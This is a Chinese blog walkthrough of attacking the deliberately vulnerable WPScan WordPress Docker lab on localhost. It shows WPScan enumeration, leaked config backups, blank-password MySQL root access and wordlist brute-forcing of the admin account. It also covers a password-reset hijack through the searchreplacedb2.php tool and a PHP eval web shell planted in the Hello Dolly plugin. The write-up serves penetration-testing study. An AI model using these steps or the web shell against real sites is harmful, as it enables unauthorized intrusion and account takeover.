WPScan初体验

近日在朋友圈看某位dalao在Ubuntu上安装WPScan花了一个小时,于是洒家随手在Kali Linux上输入了wpscan,发现Kali里面已经装好了。于是决定玩两把WPScan。

WordPress博客平台代码量多,也曾经爆出过大量漏洞。遇到WordPress先用傻瓜式工具扫描一下是一个不错的开始。

http://www.cnblogs.com/go2bed/p/6398788.html  原创

安装靶机

洒家使用了 https://hub.docker.com/r/wpscanteam/vulnerablewordpress/   官方出品的Docker镜像 wpscanteam/vulnerablewordpress,pull完毕后运行,转发80和3306端口。

docker run --name vulnerablewordpress -d -p 80:80 -p 3306:3306 wpscan/vulnerablewordpress

后期又在docker容器里面安装了vim sendmail 等软件。

初始设置用户admin,密码是某弱口令

初步扫描

首先扫描一波

wpscan --url http://127.0.0.1/

暴露出以下几个比较严重的漏洞:

配置文件备份泄露:

[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php%7E' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.php.save' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.old' 
[!] A wp-config.php backup file has been found in: 'http://127.0.0.1/wp-config.txt' 
从中可以得到 数据库信息,以及其他各种AUTH_KEY SALT 等等 
define('DB_NAME', 'wordpress'); /** MySQL database username */  
define('DB_USER', 'wordpress'); /** MySQL database password */  
define('DB_PASSWORD', 'wordpress'); /** MySQL hostname */  
define('DB_HOST', 'localhost');  

 

目测由于数据库账号wordpress被限制为localhost,无法在服务器外登录。但是由于开放了3306端口,可以用root用户空口令登录。

root@kali:~# mysql -uwordpress -pwordpress -h127.0.0.1
ERROR 1045 (28000): Access denied for user 'wordpress'@'172.17.0.1' (using password: YES)
root@kali:~# mysql -uroot -p -h127.0.0.1
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 216
Server version: 5.5.54-0ubuntu0.14.04.1 (Ubuntu)

 

 

 

另外还发现一个后门 searchreplacedb2.php:

[!] searchreplacedb2.php has been found in: 'http://127.0.0.1/searchreplacedb2.php' 
搜索一番之后洒家了解到,这是一个用于WordPress网站更换域名之后批量替换数据库内容的工具。但是用了两下之后可以看出,它只能替换,并没有找到查询数据的方法。
 
https://wpshout.com/links/searchreplacedb2/
https://github.com/jmandala/searchreplacedb2

另外,searchreplacedb2.php会自动读取wp-config.php,然后返回的表单里面也包含数据库用户名和密码。

 

 

 

其他扫描出来的漏洞 :

[+] XML-RPC Interface available under: http://127.0.0.1/xmlrpc.php  一个XML接口,以前爆出来过可以无限制暴力破解攻击的问题

[!] Includes directory has directory listing enabled: http://127.0.0.1/wp-includes/     网站配置为可以列目录,可能泄露其他信息

[!] Title: Twenty Fifteen Theme <= 1.1 - DOM Cross-Site Scripting (XSS)     有一个example.html 有DOM型XSS漏洞,然而访问了一下实际并不存在这个文件

等等,本次基本没有使用。

枚举WordPress信息

WPScan提供了以下枚举功能:

-Do wordlist password brute force on enumerated users using 50 threads ...
使用50线程对枚举出来的用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

-Do wordlist password brute force on the 'admin' username only ...
只对指定admin用户的密码进行字典暴力破解
ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

-Enumerate installed plugins ...
枚举安装的插件
ruby ./wpscan.rb --url www.example.com --enumerate p

-Enumerate installed themes ...
枚举安装的主题
ruby ./wpscan.rb --url www.example.com --enumerate t

-Enumerate users ...
枚举用户
ruby ./wpscan.rb --url www.example.com --enumerate u

-Enumerate installed timthumbs ...
ruby ./wpscan.rb --url www.example.com --enumerate tt

例如,枚举用户可得:

[+] Enumerating usernames ...
[+] Identified the following 1 user/s:
    +----+-------+-------+
    | Id | Login | Name  |
    +----+-------+-------+
    | 1  | admin | admin |
    +----+-------+-------+
[!] Default first WordPress username 'admin' is still used

 

暴力破解拿下管理员账号

初始设置为管理员账号是admin,假设密码是未知弱口令。

可以提供一个字典暴力破解用户的密码。

参数: --wordlist | -w <wordlist>          Supply a wordlist for the password brute forcer.

sudo wpscan --url http://127.0.0.1/ --wordlist ~/Documents/dict.txt
(省略) [+] Enumerating usernames ... [+] Identified the following 1 user/s: +----+-------+-------+ | Id | Login | Name | +----+-------+-------+ | 1 | admin | admin | +----+-------+-------+ [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer [+] [SUCCESS] Login : admin Password : 123456789 Brute Forcing 'admin' Time: 00:00:01 <================================ > (9 / 10) 90.00% ETA: 00:00:00 +----+-------+-------+-----------+ | Id | Login | Name | Password | +----+-------+-------+-----------+ | 1 | admin | admin | 123456789 | +----+-------+-------+-----------+

利用searchreplacedb2.php修改邮箱重置密码拿下管理员账号

由前文已知,存在一个遗留后门searchreplacedb2.php,可以利用它修改管理员admin预留的邮箱,点击忘记密码发送重置密码链接,然后重置密码。

在实际渗透过程中完整的邮箱往往不易得到,需要经过社工等手段猜测。因此洒家没有替换整体邮箱,而是猜测邮箱的域名,替换为自己的服务器域名,然后监听25端口即可接收任意发往自己的服务器的邮件。

服务器上监听25端口:

sudo python -m smtpd -n -c DebuggingServer 0.0.0.0:25

数据库的wp_users表的结构为:

MySQL [wordpress]> describe wp_users;
+---------------------+---------------------+------+-----+---------------------+----------------+
| Field               | Type                | Null | Key | Default             | Extra          |
+---------------------+---------------------+------+-----+---------------------+----------------+
| ID                  | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)         | NO   | MUL |                     |                |
| user_pass           | varchar(64)         | NO   |     |                     |                |
| user_nicename       | varchar(50)         | NO   | MUL |                     |                |
| user_email          | varchar(100)        | NO   |     |                     |                |
| user_url            | varchar(100)        | NO   |     |                     |                |
| user_registered     | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(60)         | NO   |     |                     |                |
| user_status         | int(11)             | NO   |     | 0                   |                |
| display_name        | varchar(250)        | NO   |     |                     |                |
+---------------------+---------------------+------+-----+---------------------+----------------+
10 rows in set (0.00 sec)

假设邮箱是QQ邮箱,替换wp_users表:

 

 

然后点击密码重置链接,输入admin账号,

 

 

顺利收到重置密码的邮件。邮件正文用base64编码,解码后可以得到重置链接,从而重置密码。

 

 

放置WebShell 

这个网站文件整个是 www-data 所属,有写权限。

根据网上流传的文章 http://xcha3389.blog.sohu.com/169600289.html WordPress后台拿WebShell的方法:

1.本机建立目录“chaochao”,把一句话1.php放进去。打包wawa目录为zip文件。WP后台的主题管理,上传主题,安装。
则你的后门路径为:wp-content\themes\chaochao\1.php

2.能编辑模板就能拿到shell
首先edit 模板 接着找php的文件,接着备份下他的内容,然后替换成一句话木马,接着访问那个页面的地址
/wp-content/themes/default/404.php

编辑这个网站的Hello Dolly插件,增加代码:

<?php
if(isset($_GET['cmd'])){
eval($_GET['cmd']);
exit();
}
?>

 

 

 

文件位置在 http://127.0.0.1/wp-content/plugins/hello.php?cmd=phpinfo(); 

 

 

研究了两下WordPress的Plugin,发现Hello Dolly插件足够简单,里面只有一个readme.txt 和 hello.php,可以直接用来修改作为恶意插件上传。

 

 

上传成功,webshell在 http://127.0.0.1/wp-content/plugins/hello-shell/shell.php?cmd=phpinfo();

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值